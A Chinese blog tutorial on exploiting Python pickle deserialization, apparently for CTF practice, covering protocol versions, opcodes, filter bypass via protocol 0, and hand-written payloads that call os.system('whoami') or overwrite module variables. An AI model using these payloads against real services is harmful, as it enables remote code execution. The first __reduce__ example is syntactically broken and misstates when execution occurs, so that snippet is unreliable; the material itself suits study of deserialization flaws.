pickle反序列化

简介

pickle反序列化和php反序列化差不多,本质上都是为了长期存储内存中的数据。pickle是python进行序列化/反序列化的包,早期使用的是marshal,现在开发多使用pickle。

与json相比,pickle以二进制形式存储,人工难以阅读

opcode的操作实际上是一系列的入栈出栈操作
pickle执行的过程相当于一个完整的虚拟机,pickle virtual machine(PVM)

可序列化的对象

  • None 、 True 和 False
  • 整数、浮点数、复数
  • str、byte、bytearray
  • 只包含可封存对象的集合,包括 tuple、list、set 和 dict
  • 定义在模块最外层的函数(使用 def 定义,lambda 函数则不可以)
  • 定义在模块最外层的内置函数
  • 定义在模块最外层的类
  • __dict__ 属性值或 __getstate__() 函数的返回值可以被序列化的类(详见官方文档的Pickling Class Instances)

Object.__reduce__ 函数

python要求 object.__reduce__() 返回一个 (callable, ([para1,para2...])[,...]) 的元组,每当该类的对象被unpickle时,该callable就会被调用以生成对象(该callable其实是构造函数)。

opcode

版本

目前pickle有6个版本,每个版本会有一些区别,下面是一段对比

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import pickle

class User:

    username = "test"

    password = "test"

    def __init__(self, username, password):

        self.username = username

        self.password = password

user  = User("username","password")

for i in range(0,6):

    pickle_data = pickle.dumps(user,protocol=i)

    print(f"version:{i}--{pickle_data}")
1
2
3
4
5
6
7
8
9
10
11
version:0--b'ccopy_reg\n_reconstructor\np0\n(c__main__\nUser\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nVusername\np6\ng6\nsVpassword\np7\ng7\nsb.'

version:1--b'ccopy_reg\n_reconstructor\nq\x00(c__main__\nUser\nq\x01c__builtin__\nobject\nq\x02Ntq\x03Rq\x04}q\x05(X\x08\x00\x00\x00usernameq\x06h\x06X\x08\x00\x00\x00passwordq\x07h\x07ub.'

version:2--b'\x80\x02c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x08\x00\x00\x00usernameq\x03h\x03X\x08\x00\x00\x00passwordq\x04h\x04ub.'

version:3--b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x08\x00\x00\x00usernameq\x03h\x03X\x08\x00\x00\x00passwordq\x04h\x04ub.'

version:4--b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04User\x94\x93\x94)\x81\x94}\x94(\x8c\x08username\x94h\x05\x8c\x08password\x94h\x06ub.'

version:5--b'\x80\x05\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04User\x94\x93\x94)\x81\x94}\x94(\x8c\x08username\x94h\x05\x8c\x08password\x94h\x06ub.'

如果不指定版本的话,默认使用的是pickle4

以pickle3为例

1
2
3
\x80 是协议头
\x03是版本号
c 表示是类
指令 名字 作用(人话翻译)
c GLOBAL 加载类 / 函数(你刚才问的)
( MARK 标记开始构建元组
) TUPLE 结束元组,生成元组对象
} DICT 生成字典对象
. STOP 序列化结束
i INT 整数
s STRING 字符串(老版本)
\x8c BINUNICODE Unicode 字符串(Python3 常用)
\x94 NEWOBJ 创建新对象
h BINGET 读取缓存里的值
\x93 STACK_GROW 栈操作(内部用)
u SETITEM 往字典里加键值对

特性绕过\x00

由于pickle是向前兼容的,所以pickle0可以在所有版本中执行,可以看到pickle0里面没有\x00,可以利用这个特性来绕过\x00的关键词检测

漏洞利用

方法一:利用pickle库生成序列化数据

前面我们提到了__reduce__ 方法,他是用来自定义对象如何被序列化/反序列化的
在pickle.loads时会自动调用这个函数,和php中魔术方法的__wakeup__ 一样

示例代码:

1
2
3
4
5
6
7
8
import os
import pickle

class Test:
def __reduce__:
return (os.system,('whoami',))

pickle_data = pickle.loads(Test())

当执行pickle.dumps(pickle_data) 时,就会触发命令执行
注意事项:在使用这种方法生成序列化数据时有一个非常需要注意的地方,如果题目环境是linux,你生成数据的脚本必须也在linux中跑,否则可能会反序列化失败

方法二:手写opcode

直接生成的方法虽然方便快捷,但是一次只能执行一个函数,那么如果我需要执行多个函数怎么办呢?
这就需要用到opcode了,前面版本对比的时候可以看到,pickle0的数据是最容易读的,并且能在所有版本下执行,所以我们手写opcode都是写的版本为0的

一些操作符

opcode 描述 具体写法 栈上的变化 memo上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n 对象被储存
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

由这些opcode我们可以得到一些需要注意的地方:

  • 编写opcode时要想象栈中的数据,以正确使用每种opcode。
  • 在理解时注意与python本身的操作对照(比如python列表的append对应aextend对应e;字典的update对应u)。
  • c操作符会尝试import库,所以在pickle.loads时不需要漏洞代码中先引入系统库。
  • pickle不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如getattrdict.get)才能进行。但是因为存在sub操作符,作为右值是可以的。即“查值不行,赋值可以”。pickle能够索引查值的操作只有ci。而如何查值也是CTF的一个重要考点。
  • sub操作符可以构造并赋值原来没有的属性、键值对。

简单来说,就是在opcode中,不能通过lists[0]的方式获取列表中的第一个元素的值,但是可以通过lists[0] = 1 的方式给列表中的第一个元素赋值

拼接opcode

想把两段opcode拼起来也很简单,只需要把结尾用来结束的. 删掉,再拼起来就行了

覆盖变量

情景如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# secret.py
name='TEST3213qkfsmfo'

# main.py
import pickle
import secret

opcode='''c__main__
secret
(S'name'
S'1'
db.'''

print('before:',secret.name)

output=pickle.loads(opcode.encode())

print('output:',output)
print('after:',secret.name)

c表示加载 类/函数/变量
__main__ 表示从当前模块找
secret 接c指令,找到secret
( 压入一个MARK标记,表示要开始创建一个新字典
随后分别压入字符串name和1
d 操作找到上一个MARK标记,把这之间的的数据组合成字典,也就是得到了{“name”:”1”}
b 操作把刚刚得到的字典对secret对象进行属性赋值,name被设置为1
. 表示结束

执行函数

与执行函数相关的操作符有三种 R、i、o

1
2
3
4
b'''cos
system
(S'whoami'
tR.'''

cos
system 表示引入os.system

(S’whoami’
t 表示建立一个元组 ,里面有一个元素’whoami’

R 表示把os.system当作函数,元组当作参数,实现函数执行

1
2
3
4
'''(S'whoami'
ios
system
.'''
1
2
3
4
'''(cos
system
S'whoami'
o.'''

实例化一个对象

1
2
3
4
5
6
7
8
9
10
11
12
13
class Student:
def __init__(self, name, age):
self.name = name
self.age = age

data=b'''c__main__
Student
(S'XiaoMing'
S"20"
tR.'''

a=pickle.loads(data)
print(a.name,a.age)

相当于是执行了__init__(‘XiaoMing,’20’)

相关工具

pker

基于opcode绕过字节码过滤

这就不言而喻了

注意事项

虽然前面已经写过了,但是这个点确实比较搞人,所以再说一下
在windows上生成的序列化数据,可能没法在linux上用


pickle反序列化
http://example.com/2026/03/24/pickle反序列化/
作者
onehang
发布于
2026年3月24日
许可协议